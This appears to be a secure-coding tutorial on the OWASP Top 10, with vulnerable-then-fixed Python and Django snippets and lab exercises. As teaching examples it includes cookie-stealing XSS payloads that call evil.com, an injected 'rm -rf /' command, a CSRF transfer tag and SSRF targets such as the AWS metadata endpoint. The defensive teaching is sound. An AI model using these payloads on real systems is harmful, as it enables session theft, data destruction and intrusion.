Application Security & OWASP Top 10
Survey the OWASP Top 10 vulnerabilities — from broken access control to injection — understand how each works, how to find it, and how to fix it.
Learning Objectives
- → Describe each OWASP Top 10 (2021) category with examples
- → Identify broken access control and insecure direct object references
- → Exploit and fix XSS, CSRF, and SSRF vulnerabilities
- → Understand security misconfigurations and their impact
- → Apply a Secure SDLC with threat modeling and security testing
OWASP Top 10 (2021)
| Rank | Category | Example |
|---|---|---|
| A01 | Broken Access Control | IDOR, missing auth checks |
| A02 | Cryptographic Failures | Plaintext passwords, weak TLS |
| A03 | Injection | SQL, NoSQL, command injection |
| A04 | Insecure Design | Missing threat model, flawed logic |
| A05 | Security Misconfiguration | Default creds, debug mode on |
| A06 | Vulnerable Components | Outdated libraries with CVEs |
| A07 | Auth & Session Failures | Weak passwords, missing MFA |
| A08 | Data Integrity Failures | Unsigned updates, unsafe deserialization |
| A09 | Logging & Monitoring Failures | No audit trail, no alerting |
| A10 | SSRF | Internal service access via URL |
A01 – Broken Access Control
Most common OWASP category. Failures let users act outside their intended permissions.
IDOR – Insecure Direct Object Reference
# VULNERABLE: user can access any order by changing the ID
@app.route("/api/orders/<int:order_id>")
def get_order(order_id):
order = Order.objects.get(id=order_id)
return jsonify(order)
# Attacker: GET /api/orders/1234 (someone else's order)
# FIX: always filter by authenticated user
@app.route("/api/orders/<int:order_id>")
@login_required
def get_order(order_id):
order = Order.objects.get(id=order_id, user=current_user)
# ↑ 404 if order doesn't belong to this user
return jsonify(order)
Missing Function-Level Access Control
# VULNERABLE: only hiding admin links in UI, not enforcing server-side
@app.route("/admin/users")
def admin_users():
return User.objects.all() # no auth check!
# FIX
@app.route("/admin/users")
@login_required
@require_role("admin") # decorator checks role
def admin_users():
return User.objects.all()
A03 – Injection
Covered in depth in the Databases roadmap. Summary:
- SQL injection → parameterized queries
- Command injection → never pass user input to shell
- Template injection → use auto-escaping templates
# Command injection
import subprocess
# VULNERABLE
filename = request.args["file"]
os.system(f"convert {filename} output.pdf")
# Attacker: file=x; rm -rf /
# FIX: use list form, never shell=True
subprocess.run(["convert", filename, "output.pdf"],
shell=False, timeout=30)
A05 – Security Misconfiguration
Common misconfigurations:
- Default credentials (admin/admin, admin/password)
- Debug mode enabled in production (Django DEBUG=True)
- Verbose error messages exposing stack traces
- Unused features enabled (directory listing, unused API endpoints)
- Missing security headers
- Open cloud storage buckets (S3 public read)
- Unnecessary ports open (MongoDB 27017 exposed)
# Django security settings for production
DEBUG = False
SECRET_KEY = os.environ["DJANGO_SECRET_KEY"] # not hardcoded
ALLOWED_HOSTS = ["yourdomain.com"]
# Security headers middleware
SECURE_HSTS_SECONDS = 31536000 # HSTS 1 year
SECURE_SSL_REDIRECT = True # redirect HTTP → HTTPS
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True
X_FRAME_OPTIONS = "DENY"
SECURE_CONTENT_TYPE_NOSNIFF = True
XSS – Cross-Site Scripting (A03 subset)
XSS injects malicious scripts into pages viewed by other users.
Types:
- Reflected XSS: payload in URL, reflected in response
- Stored XSS: payload stored in DB, shown to all users
- DOM-based XSS: JavaScript reads URL param, writes to DOM
Payload examples:
<script>document.location='https://evil.com/steal?c='+document.cookie</script>
<img src=x onerror="fetch('https://evil.com/'+btoa(document.body.innerHTML))">
<svg onload="alert('XSS')">
# VULNERABLE: rendering user input without escaping
return f"<h1>Hello {name}</h1>"
# FIX: Django templates auto-escape by default
{{ name }} # safe — Django escapes <, >, &, ", '
{{ name|safe }} # UNSAFE — disables escaping!
# FIX: for API responses use JSON (not HTML)
return jsonify({"name": name}) # no XSS risk in JSON
# Content-Security-Policy header blocks inline scripts
"Content-Security-Policy": "default-src 'self'; script-src 'self'"
CSRF – Cross-Site Request Forgery (A01 subset)
Tricks a logged-in user's browser into making an authenticated request:
<!-- Evil page visited by logged-in bank user -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" width=0>
<!-- Browser automatically includes session cookie! -->
# Defense 1: CSRF tokens (Django does this by default)
<form method="POST">
{% csrf_token %} <!-- hidden token checked server-side -->
...
</form>
# Defense 2: SameSite=Strict cookie (modern defense)
Set-Cookie: session=...; SameSite=Strict
# Defense 3: Check Origin/Referer header (weak, can be spoofed)
SSRF – Server-Side Request Forgery (A10)
Server fetches a URL supplied by the user — attacker points it at internal services:
# VULNERABLE
@app.route("/fetch")
def fetch():
url = request.args["url"]
return requests.get(url).text
# Attacker: url=http://169.254.169.254/latest/meta-data/ (AWS metadata!)
# Attacker: url=http://localhost:6379 (Redis)
# Attacker: url=file:///etc/passwd
# FIX: allowlist of permitted destinations
import ipaddress
ALLOWED_DOMAINS = {"api.example.com", "cdn.example.com"}
def is_safe_url(url: str) -> bool:
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
return False
if parsed.hostname in ALLOWED_DOMAINS:
return True
# Block private IPs
try:
ip = ipaddress.ip_address(parsed.hostname)
return not (ip.is_private or ip.is_loopback or ip.is_link_local)
except ValueError:
pass
return False
A06 – Vulnerable Components
# Python: check for known vulnerabilities
pip install pip-audit
pip-audit
# Node.js
npm audit
npm audit fix
# Check CVEs: search https://nvd.nist.gov/
# Monitor: GitHub Dependabot, Snyk, OWASP Dependency-Check
# Dependency pinning (requirements.txt)
django==4.2.7 # pinned version
requests==2.31.0 # known-good
# Update strategy: automated PRs (Dependabot) + CI tests
Secure SDLC
Security integrated at every phase:
Requirements → Threat Modeling (STRIDE)
Design → Security Architecture Review
Development → Secure Coding, SAST (bandit, semgrep)
Testing → DAST (OWASP ZAP), Pen Test
Deployment → Hardened config, secrets management
Operations → Monitoring, patch management
STRIDE Threat Model
| Threat | Example | Control |
|---|---|---|
| Spoofing | Impersonate user | Authentication |
| Tampering | Modify data in transit | Integrity/HMAC |
| Repudiation | Deny performing action | Audit logging |
| Information Disclosure | Data breach | Encryption, access control |
| Denial of Service | Resource exhaustion | Rate limiting, scaling |
| Elevation of Privilege | IDOR, SQLi | Authorization checks |
Given a Django REST API with /api/orders/, /api/profile/, /api/invoices/: (1) test each endpoint by changing the ID to another user's object, (2) identify which endpoints lack user-ownership checks, (3) fix all three by filtering queryset by request.user, (4) write a test that verifies a user gets 404 on another user's object.
What is an IDOR vulnerability?
In a Flask app with a search endpoint that reflects the query in HTML: (1) inject and confirm execution, (2) inject a cookie-stealing payload, (3) fix with html.escape() or Jinja2 auto-escaping, (4) add a Content-Security-Policy header that blocks inline scripts, (5) verify the fix.
What does Content-Security-Policy: default-src 'self' do?
Which Django template tag disables auto-escaping?
Set up a vulnerable URL-fetch endpoint. Then: (1) demonstrate SSRF to http://localhost:6379 (Redis), (2) demonstrate SSRF to http://127.0.0.1/admin (internal service), (3) implement is_safe_url() with allowlist + private IP blocking, (4) verify that http://169.254.169.254 (AWS metadata) is blocked.
What is the AWS instance metadata endpoint?